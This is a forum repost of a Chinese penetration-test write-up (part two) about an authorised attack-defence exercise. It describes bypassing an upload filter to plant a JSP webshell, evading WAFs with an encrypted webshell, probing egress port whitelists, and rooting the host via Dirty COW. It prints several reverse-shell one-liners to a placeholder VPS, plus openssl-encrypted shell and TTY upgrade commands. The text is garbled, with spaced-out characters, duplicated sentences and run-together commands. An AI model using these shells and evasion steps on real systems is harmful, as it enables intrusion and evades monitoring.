设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [14504] 2019-08-23_全程带阻：记一次授权网络攻防演练 ...
返回列表 发新帖
查看: 1|回复: 0

[14504] 2019-08-23_全程带阻：记一次授权网络攻防演练（下）

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2019-08-23_全程带阻：记一次授权网络攻防演练（下） 全 程 带 阻 ： 记 一 次 授 权 网 络 攻 防 演 练 （ 下 ） y a n g y a n g w i t h g n u   F r e e B u f   2 0 1 9 - 0 8 - 2 3 完 整 攻 击 链 大 概 包 括 信 息 搜 集 、 漏 洞 利 用 、 建 立 据 点 、 权 限 提 升 、 权 限 维 持 、 横 向 移 动 、 痕 迹 清 除 等 七 步 ， 虽 然 这 个 站 点 只 经 历 了 前 四 步 ， 但 也 具 有 较 强 的 代 表 性 ， 组 合 利 用 漏 洞 形 成 完 整 攻 击 链 大 概 包 括 信 息 搜 集 、 漏 洞 利 用 、 建 立 据 点 、 权 限 提 升 、 权 限 维 持 、 横 向 移 动 、 痕 迹 清 除 等 七 步 ， 虽 然 这 个 站 点 只 经 历 了 前 四 步 ， 但 也 具 有 较 强 的 代 表 性 ， 组 合 利 用 漏 洞 形 成 攻 击 连 ， 拿 下 管 理 权 限 。 攻 击 连 ， 拿 下 管 理 权 限 。 前 情 提 要 ： 全 程 带 阻 ： 记 一 次 授 权 网 络 攻 防 演 练 （ 上 ） 建 立 据 点 建 立 据 点 真 是 麻 烦 ， 整 了 这 么 久 ， 才 获 得 一 个 可 用 的 上 传 功 能 而 已 ， 还 不 一 定 能 上 传   w e b s h e l l ， 走 一 步 看 一 步 。 在 我 看 来 ， 任 意 文 件 上 传 攻 击 应 关 注 四 个 要 素 ： 找 寻 文 件 路 径 、 指 定 文 件 扩 展 名 、 写 入 脚 本 代 码 、 防   W A F   拦 截 。 找 寻 文 件 路 径 。 上 传   w e b s h e l l   后 肯 定 要 访 问 ， 势 必 得 晓 得 文 件 写 入 路 径 ， 通 常 上 传 成 功 后 ， 路 径 将 回 显 在 应 答 中 ， 但 该 站 并 无 回 显 ， 但 好 在 它 是 个 图 片 ， 所 以 ， 在 页 面 右 键 即 可 查 看 文 件 路 径 ： 同 时 ， 为 了 方 便 后 续 调 试 ， 我 把 查 询 文 件 路 径 的 接 口 保 留 下 来 ： 指 定 文 件 扩 展 名 。 上 传 报 文 中 ， 涉 及 文 件 扩 展 名 的 地 方 如 下 三 处 ： 我 得 逐 一 验 证 哪 个 是 影 响 服 务 端 写 入 文 件 时 用 到 的 扩 展 名 。 尝 试 将 第 一 处   f i l e N a m e   域 的   i n f o . p n g   改 为   i n f o . j s p ， 确 认 写 入 文 件 名 ：
w o w ， 这 运 气 。 写 入 脚 本 代 码 。 接 下 来 ， 我 把 上 传 报 文 中 的 图 片 数 据 替 换 为 一 行 无 害 的   J S P   代 码 ： 上 传 失 败 ， 文 件 内 容 是 唯 一 变 更 的 地 方 ， 那 么 ， 我 可 以 合 理 猜 测 服 务 端 要 么 检 测 了 文 件 内 容 是 否 存 在 脚 本 代 码 ， 要 么 检 测 了 文 件 头 是 否 为 图 片 类 型 。 验 证 是 否 检 测 了 脚 本 代 码 。 我 把 这 行   J S P   代 码 改 为 普 通 文 本 ： 仍 然 失 败 ， 说 明 并 非 检 测 了 恶 意 代 码 。 验 证 是 否 检 测 了 文 件 头 。 不 同 类 型 的 文 件 都 有 对 应 的 文 件 类 型 签 名 （ 也 叫 类 型 幻 数 ， 简 称 文 件 头 ） ， 比 如 ， P N G   的 文 件 头 为 十 六 进 制 的   8 9   5 0   4 E   4 7   0 D   0 A   1 A   0 A 、 G I F   为   4 7   4 9   4 6   3 8   3 7   6 1 、 J P G   为   F F   D 8   F F   E 0 。 于 是 ， 我 添 加 了   P N G   文 件 头 后 再 次 上 传 ： w o w o ， 上 传 成 功 。 立 即 访 问 ， 确 认 能 否 解 析 ： 5 0 0   错 误 ， 不 应 该 啊 ， 就 这 么 一 行 无 害 普 通 代 码 ， 怎 么 会 导 致 服 务 端 错 误 呢 ？ ！ 会 不 会   P N G   头 中 存 在 不 可 见 字 符 ， 导 致 解 析 报 错 ？ 改 成 全 是 可 见 字 符 的   G I F   头 试 试 ： 确 认 能 否 正 常 解 析 ：
呵 呵 ， 讲 究 ！ 换 成   G I F   文 件 头 可 成 功 解 析 。 防   W A F   拦 截 。 接 下 来 ， 我 把 无 害   J S P   代 码 替 换 为 命 令 执 行 的 小 马 ， 成 功 上 传 、 成 功 解 析 、 成 功 执 行 命 令 ： 哈 哈 ， 第 七 个 洞 ， 文 件 类 型 签 名 可 绕 过 ， 导 致 任 意 文 件 上 传   g e t s h e l l 。 我 的 内 心 开 始 放 荡 ， 抑 制 不 住 激 动 的 心 情 按 下 了   F 5 ， 居 然 又 出 幺 蛾 子 ： 顺 利 写 马 、 可 以 执 行 一 次 命 令 、 刷 新 页 面 出 现 禁 止 访 问 ， 这 种 现 象 ， 我 怀 疑   W A F   作 祟 ， 它 发 现 流 量 中 携 带 恶 意 行 为 后 拒 绝 请 求 。 两 年 前 ， 突 破   W A F   我 大 概 会 用 到 这 几 种 手 法 ： 分 块 传 输 、 畸 型 请 求 、 转 义 序 列 、 偏 僻 编 码 、 T L S   滥 用 ， 而 如 今 ， 划 时 代 的 冰 蝎 问 世 （ 尽 管 它 未 开 源 ） ， 让 我 几 乎 可 以 忽 视   W A F   的 存 在 。 上 古 时 代 的 各 类 一 句 话 、 小 马 、 大 马 早 已 成 为 各 大   W A F   出 厂 默 认 封 杀 规 则 ； 传 奇   w e b s h e l l   管 理 客 户 端 菜 刀 也 年 久 失 修 ， 明 文 流 量 毫 无 隐 私 可 言 ； 冰 蝎 ， 采 用 密 钥 变 换 手 法 ， 将 文 本 载 荷 转 为 二 进 制 流 ， 再 进 行 加 密 传 输 ， 天 生 具 备 防 流 量 监 测 的 能 力 。 所 以 ， 我 上 传 冰 蝎 马 ： 直 接 访 问 报 错 ： 没 关 系 ， 冰 蝎 马 未 处 理 异 常 ， 不 影 响 管 理 端 连 接 ： 现 在 ， 我 可 以 随 意 执 行 命 令 ：
管 理 文 件 ： 题 外 话 ， 关 于 上 传 漏 洞 ， 冰 蝎 流 量 监 测 、 白 名 单 扩 展 绕 过 ， 这 有 两 点 你 可 以 了 解 下 ： 1 .   冰 蝎 流 量 能 逃 过 所 有 品 牌 的   W A F   监 测 么 ？ 几 乎 是 ， 唯 一 逃 不 过 奇 安 信 （ 原   3 6 0 、 原 原 网 神 ） 的 天 眼 系 统 ， 冰 蝎 管 理 端 与 冰 蝎 马 建 立 会 话 时 需 要 获 取 动 态 密 钥 ， 这 个 过 程 中 的 请 求 与 应 答 的 两 个 报 文 存 在 特 征 ， 天 眼 的 着 力 点 在 此 ； 2 .   任 意 文 件 上 传 攻 击 ， 遇 到 服 务 端 扩 展 名 白 名 单 的 场 景 ， 除 了 常 规 的 解 析 漏 洞 手 法 外 ， 还 可 能 关 注 本 地 文 件 包 含 漏 洞 （ L F I ） ， 以 及   H T T P   参 数 污 染 漏 洞 （ H P P ） ， 特 别 是   H P P ， 在 突 破 白 名 单 限 制 时 ， 很 有 杀 伤 力 。 系 统 提 权 系 统 提 权 w e b s h e l l   虽 然 赋 予 我 执 行 命 令 、 管 理 文 件 的 能 力 ， 但 毕 竟 不 是 真 正 的   s h e l l ， 无 法 执 行 交 互 式 命 令 、 无 法 控 制 进 程 状 态 、 无 法 补 全 命 令 等 等 ， 非 常 不 利 于 提 权 操 作 ， 所 以 ， 必 须 反 弹   s h e l l 。 通 过 冰 蝎 在 目 标 上 执 行 反 弹 命 令 ： V P S   监 听 ： 等 昏 过 去 了 都 没 见 到   s h e l l   回 来 ， 反 弹   s h e l l   失 败 ！ 导 致 失 败 的 因 素 很 多 ， 经 验 来 看 ， 常 见 如 下 几 类 ： 反 弹 命 令 不 存 在 、 禁 止 出 口 流 量 、 限 定 向 外 访 问 端 口 、 流 量 审 查 。 验 证 是 否 反 弹 命 令 不 存 在 。 我 常 用 的 几 个 反 弹 命 令 ： n c / n c . o p e n b s d / n c . t r a d i t i o n a l 、 b a s h / s h / d a s h 、 p y t h o n / p e r l / P H P / r u b y 、 e x e c 。 用   n c   反 弹 ， 命 令 如 下 ： 某 些 目 标 的   n c   不 支 持   - e   参 数 ， 有 两 个 解 决 思 路 ， 要 么 使 用 其 他 版 本 的   n c ： 要 么 配 合 命 名 管 道 进 行 反 弹 ： 用   b a s h   反 弹 ： 用   p y t h o n   反 弹 ： 用   P H P   反 弹 ： 用   e x e c   反 弹 ： 在 目 标 上 查 看 相 关 命 令 是 否 存 在 ： 看 来 除   P H P   外 ， 其 他 反 弹 命 令 都 可 用 ， 那 么 先 前 反 弹 失 败 并 非   b a s h   命 令 的 原 因 。 验 证 是 否 禁 止 出 口 流 量 。 某 些 目 标 在 防 火 墙 上 限 制 了 出 口 流 量 ， 禁 止 目 标 主 动 向 外 发 起 网 络 请 求 ， 我 计 划 通 过 带 外 （ O u t   O f   B a n d ） 的 方 式 进 行 验 证 。 大 致 逻 辑 是 ， 在 攻 击 者 自 己 的   V P S   上 监 测 某 种 协 议 的 网 络 请 求 ， 在 目 标 上 用 这 种 协 议 访 问   V P S ， 若 在   V P S   上 看 到 该 协 议 的 请 求 日 志 ， 则 可 推 断 出 目 标 允 许 出 口 流 量 。 n c   < y o u r _ v p s >   1 0 2 4   - e   / b i n / s h n c . t r a d i t i o n a l   < y o u r _ v p s >   1 0 2 4   - e   / b i n / s h r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1   |   n c   < y o u r _ v p s >   1 0 2 4   > / t m p / f / b i n / b a s h   - i   > &   / d e v / t c p / < y o u r _ v p s > / 1 0 2 4   0 > & 1 p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " < y o u r _ v p s > " , 1 0 2 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ p h p   - r   ' $ s o c k = f s o c k o p e n ( " < y o u r _ v p s > " , 1 0 2 4 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' 0 < & 1 9 6 ; e x e c   1 9 6 < > / d e v / t c p / < y o u r _ v p s > / 1 0 2 4 ;   s h   < & 1 9 6   > & 1 9 6   2 > & 1 9 6
为 了 减 少 其 他 因 素 干 扰 ， 我 习 惯 选 用 无 端 口 的 协 议 进 行 出 口 流 量 的 测 试 ， I C M P   最 单 纯 。 你 知 道 互 联 网 上 随 时 都 有   I C M P   的 刺 探 ， 导 致   V P S   看 到 的 日 志 量 非 常 大 ， 所 以 ， 我 指 定   p i n g   的 包 的 大 小 ， 这 样 方 便 过 滤 。 第 一 步 ， 虽 然 我 指 定 了   p i n g   包 大 小 ， 但 实 际 大 小 由 系 统 确 定 ， 先 在 目 标 上 执 行   p i n g   命 令 ， 获 取 实 际 包 大 小 ： 我 用   - s   选 项 指 定 包 大 小 为   6 4   个 字 节 ， 系 统 实 际 发 送 了   9 2   个 字 节 ， 以   l e n g t h   9 2   为 关 键 字 查 找   I C M P   记 录 。 第 二 步 ， 在   V P S   上 监 控   I C M P   日 志 ： 第 三 步 ， 在 目 标 上 再 次 执 行   p i n g   命 令 ： 第 四 步 ，   在   V P S   上 查 看 到 大 小 为   9 2   的   I C M P   包 ： 经 过 以 上 四 步 ， 我 确 认 目 标 允 许 出 口 流 量 。 验 证 是 否 限 定 向 外 访 问 端 口 。 某 些 目 标 限 定 访 问 外 部 端 口 ， 常 见 黑 名 单 和 白 名 单 两 种 方 式 。 黑 名 单 ， 比 如 ， 禁 止 目 标 机 器 向 外 访 问   M S F   默 认 的   4 4 4 4   端 口 ； 白 名 单 ， 比 如 ， 只 允 许 向 外 访 问   w e b 常 见 的   8 0   端 口 ， 注 意 下 ， 攻 击 端 即 便 监 听 的   8 0   端 口 ， g e t s h e l l   的 流 量 采 用 的 也 并 非   H T T P   协 议 ， 而 是 普 通 的   s o c k e t ， 切 勿 与   H T T P   隧 道   g e t s h e l l   混 淆 。 先 前 反 弹 失 败 用 的 是   1 0 2 4   端 口 ， 换 个 端 口   2 9 4 1   监 听 试 试 ： 目 标 上 用   H T T P   协 议 访 问   V P S   的   2 9 4 1   端 口 ： 等 待 片 刻 ， V P S   的 并 无   H T T P   记 录 ， 所 以 ， 怀 疑 采 用 白 名 单 。 经 验 来 看 ， 端 口 白 名 单 通 常 只 允 许 向 外 访 问   H T T P   服 务 的 默 认   8 0 、 H T T P S   服 务 的 默 认   4 4 3 ， 于 是 ， V P S   监 听   4 4 3   端 口 ， 目 标 上 访 问   4 4 3 ， 这 时   V P S   上 获 得   4 4 3   端 口 的 访 问 记 录 ： 那 么 ， 我 可 以 几 乎 断 定 目 标 的 确 是 用 白 名 单 机 制 限 制 了 向 外 访 问 的 端 口 号 ， 其 中 猜 测 出   4 4 3   端 口 在 白 名 单 范 围 内 。 验 证 是 否 存 在 流 量 审 查 。 换 成   4 4 3   端 口 后 应 该 顺 利 反 弹   s h e l l ， 服 务 端 的 确 也 收 到 了   s h e l l ， 但 还 没 来 得 及 执 行 任 何 命 令 ， 马 上 就 就 掉 线 了 。 我 猜 测 服 务 端 可 能 存 在 某 种 流 量 检 测 设 备 ， 以 物 理 旁 路 、 逻 辑 串 联 的 方 式 接 入 在 网 络 中 ， 一 旦 发 现 恶 意 行 为 ， 分 别 向 客 户 端 和 服 务 端 发 送   R E S E T   的   T C P   包 ， 达 到 断 开 客 户 端 和 服 务 端 连 接 的 目 的 ， 表 象 类 似 传 统 堡 垒 机 的 防 绕 行 机 制 。 流 量 审 查 ， 审 查 设 备 必 定 得 到 明 文 流 量 数 据 才 行 ， 要 防 审 查 自 然 想 到 加 密 流 量 。 所 以 ， 我 不 再 简 单 地 用   b a s h   来 反 弹   s h e l l ， 而 在 此 基 础 上 ， 将 原 始 流 量 用   o p e n s s l   加 密 ， 这 样 就 能 达 到 防 流 量 审 查 的 目 的 。 具 体 而 言 ， 第 一 步 ， 在 V P S   上 生 成   S S L   证 书 的 公 钥 / 私 钥 对 ：
第 二 步 ， V P S   监 听 反 弹   s h e l l ： 第 三 步 ， 目 标 上 用   o p e n s s l   加 密 反 弹   s h e l l   的 流 量 ： 第 四 步 ， V P S   上 成 功 获 取 加 密 的 哑   s h e l l ： 现 在 ， 我 得 到 的 仅 仅 是 个 简 陋 的 哑   s h e l l ， 并 非 交 互 式   s h e l l 。 基 于 以 下 几 个 原 因 ， 让 我 有 强 烈 驱 动 力 将 哑   s h e l l   转 为 交 互 式   s h e l l ： 防 止   c t r l - c   中 断   g e t s h e l l   会 话 、 无 法 查 看 语 法 高 亮 、 无 法 执 行 交 互 式 命 令 、 无 法 查 看 错 误 输 出 、 无 法 使 用   t a b   命 令 补 全 、 无 法 操 控   j o b 、 无 法 查 看 命 令 历 史 。 具 体 如 下 ， 第 一 步 ， 在 哑   s h e l l   中 执 行 ： 键 入   C t r l - Z ， 回 到   V P S   的 命 令 行 中 ； 第 二 步 ， 在   V P S   中 执 行 ： 回 到 哑   s h e l l   中 ； 第 三 步 ， 在 哑   s h e l l   中 键 入   C t r l - l ， 执 行 ： 这 样 ， 我 得 到 了 功 能 齐 全 的 交 互 式   s h e l l ， 比 如 ， 支 持 命 令 补 全 、 语 法 高 亮 ： 一 切 就 绪 ， 正 式 进 入 提 权 操 作 。 提 权 的 手 法 很 多 ， 比 如 ， 利 用 内 核 栈 溢 出 提 权 、 搜 寻 配 置 文 件 中 的 明 文 密 码 、 环 境 变 量 劫 持 高 权 限 程 序 、 不 安 全 的 服 务 、 借 助 权 能 （ P O S I X   c a p a b i l i t i e s ） 提 权 、 s u d o   误 配 、 S U I D   滥 用 等 等 。 我 喜 欢 快 刀 斩 乱 麻 ， 将   l i n u x - e x p l o i t - s u g g e s t e r - 2   上 传 至 目 标 后 运 行 ： 提 示 当 前 内 核 可 能 存 在 脏 牛 漏 洞 ， 上 传 本 地 编 译 好 的 脏 牛   e x p ， 执 行 后 毫 无 波 澜 地 拿 到 了   r o o t ： 虽 然 这 个 目 标 用 内 核 漏 洞 成 功 提 权 ， 对 我 而 言 ， 只 能 算 作 运 气 好 ， 在 如 今 的 网 络 安 全 生 态 下 ， 运 维 人 员 已 有 足 够 的 安 全 意 识 ， 安 装 系 统 补 丁 早 已 融 入 日 常 工 作 。 所 以 ， 我 有 必 要 分 享 一 种 内 核 漏 洞 $   p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / b a s h " ) ' $   s t t y   r a w   - e c h o $   f g $   r e s e t $   e x p o r t   S H E L L = b a s h $   e x p o r t   T E R M = x t e r m - 2 5 6 c o l o r $   s t t y   r o w s   5 4   c o l u m n s   1 0 4
之 外 的 提 权 手 法 ， 它 的 成 功 率 非 常 高 ， 并 且 不 像 内 核 提 权 那 样 可 能 导 致 系 统 挂 起 ， 它 就 是 对 系 统 完 全 无 损 的   s u d o   误 配 提 取 手 法 。 个 人 非 常 、 十 分 、 特 别 喜 欢 它 ， s u d o   误 配 的 一 种 利 用 手 法 是 ， 查 看   h o m e /   目 录 下 是 否   . s u d o _ a s _ a d m i n _ s u c c e s s f u l   文 件 ， 若 有 则 可 以 输 入 当 前 低 权 账 号 的 密 码 直 接   s u d o   s u   切 换 为   r o o t   用 户 ， 而 在 已 经 获 取 当 前 账 号 的 系 统 环 境 的 前 提 下 ， 要 拿 到 低 权 账 号 的 密 码 ， 虽 然 有 门 槛 ， 但 也 不 是 不 可 能 （ 如 ， 翻 找 各 类 配 置 文 件 ） 。 靶 机   J I S - C T F - V u l n U p l o a d - C T F 0 1   就 是 很 好 的 一 个 案 例 。 首 先 ， 利 用   w e b   漏 洞 拿 到 低 权 账 号   t e c h n a w i   的   m e t e r p r e t e r   会 话 ： 接 着 ， 翻 找 文 件 找 到 其 密 码 ： 然 后 ， 发 现   h o m e /   中 存 在   . s u d o _ a s _ a d m i n _ s u c c e s s f u l   文 件 ： 最 后 ， 用   t e c h n a w i   自 己 的 密 码 切 换 为   r o o t   用 户 ： 就 这 样 ， 成 功 提 权 ！ 说 这 么 多 ， 不 是 排 名 哪 种 提 权 手 法 优 秀 、 哪 种 拙 劣 ， 能 达 到 目 的 ， 适 合 你 思 维 模 式 的 ， 就 是 最 好 的 ， 你 说 呢 ！ 故 事 尾 声 故 事 尾 声 到 此 ， 任 务 算 完 成 了 ， 整 个 过 程 很 有 意 思 ， 目 标 环 境 设 有 层 层 防 御 ， 但 每 道 防 线 或 多 或 少 存 在 些 小 问 题 ， 多 个 小 问 题 串 起 来 ， 便 成 了 黑 客 进 入 系 统 内 部 的 攻 击 路 径 。 完 整 来 说 ， 全 流 程 的 攻 击 链 包 括 信 息 搜 集 、 漏 洞 利 用 、 建 立 据 点 、 权 限 提 升 、 权 限 维 持 、 横 向 移 动 、 痕 迹 清 除 等 七 步 ， 虽 然 这 个 站 点 只 经 历 了 前 四 步 ， 但 也 具 有 较 强 的 代 表 性 。 简 单 回 顾 下 ， 大 概 经 过 以 下 关 键 步 骤 ： 1 .   密 码 找 回 功 能 处 ， 图 片 验 证 码 刷 新 ， 导 致 可 枚 举 用 户 名 ， 得 到 三 个 有 效 账 号 ： n a n a 、 a d m i n 、 l i u f e i ； 2 .   密 码 找 回 功 能 ， 若 是 有 效 用 户 ， 服 务 端 泄 漏 有 效 用 户 的 敏 感 信 息 ， 包 括 哈 希 密 码 ； 3 .   由 于 系 统 存 在 弱 口 令 ， 导 致 通 过 彩 虹 表 反 解 出   l i u f e i   的 密 码 ； 4 .   通 过   l i u f e i   账 号 登 录 系 统 ， 发 现 为 低 权 账 号 ， 无 可 利 用 功 能 ； 5 .   回 到   n a n a   账 号 上 ， 通 过 制 作 社 工 密 码 ， 暴 破 出 该 账 号 密 码 ； 6 .   登 录   n a n a   账 号 ， 找 到 上 传 点 ， 但 非   a d m i n   而 禁 止 上 传 ； 7 .   回 到   a d m i n   账 号 上 ， 重 新 审 查 密 码 找 回 功 能 ， 发 现 存 在   I D O R ， 可 重 置   a d m i n   密 码 ， 但 业 务 厂 商 告 知 不 能 重 置 ， 作 罢 ； 8 .   再 次 登 录   n a n a   账 号 ， 分 析 上 传 请 求 报 文 ， 发 现 服 务 端 通 过   J W T   作 为 身 份 凭 证 ， 由 于   J W T   采 用 弱 密 钥 ， 导 致 垂 直 越 权 至   a d m i n ； 9 .   以   a d m i n   身 份 上 传 ， 服 务 端 通 过 文 件 类 型 签 名 作 为 上 传 限 制 ， 可 轻 松 绕 过 ， 成 功 上 传   w e b s h e l l ； 1 0 .   服 务 端 审 查   w e b s h e l l   流 量 ， 无 法 长 时 间 使 用 ， 改 用 冰 蝎 马 ， 实 现   P O S T   数 据 二 进 制 化 、 加 密 化 ， 突 破   w e b s h e l l   流 量 审 查 ； 1 1 .   反 弹   s h e l l   时 遇 阻 ， 目 标 设 置 向 外 访 问 端 口 白 名 单 ， 通 过 各 种 手 法 找 到 端 口 白 名 单 包 含   8 0 、 4 4 3 ； 1 2 .   设 置 反 弹   s h e l l   至   4 4 3   端 口 仍 失 败 ， 发 现 目 标 部 署 反 弹 流 量 审 查 设 备 ， 于 是 ， 用   o p e n s s l   加 密 反 弹 流 量 ， 成 功 获 取 反 弹   s h e l l ； 1 3 .   为 方 便 后 续 提 权 、 维 权 、 移 动 ， 通 过 技 巧 将 反 弹 的 哑   s h e l l   转 为 全 功 能 的 交 互 式   s h e l l ； 1 4 .   通 过 查 找 目 标 内 核 版 本 ， 发 现 存 在 脏 牛 漏 洞 ， 上 传   e x p   后 顺 利 提 权 为   r o o t 。
最 后 ， 杜 兄 弟 也 兑 现 了 承 诺 ： 虽 然 做 人 要 向   q i a n   看 ， 但 它 并 不 是 快 乐 的 源 泉 ， 全 程 带 阻 、 层 层 突 破 、 直 捣 黄 龙 ， 或 许 ， 这 才 是 真 正 的 乐 趣 ！ （ 部 分 信 息 敏 感 ， 内 容 适 当 调 整 ） * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： y a n g y a n g w i t h g n u ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:21 , Processed in 1.229426 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表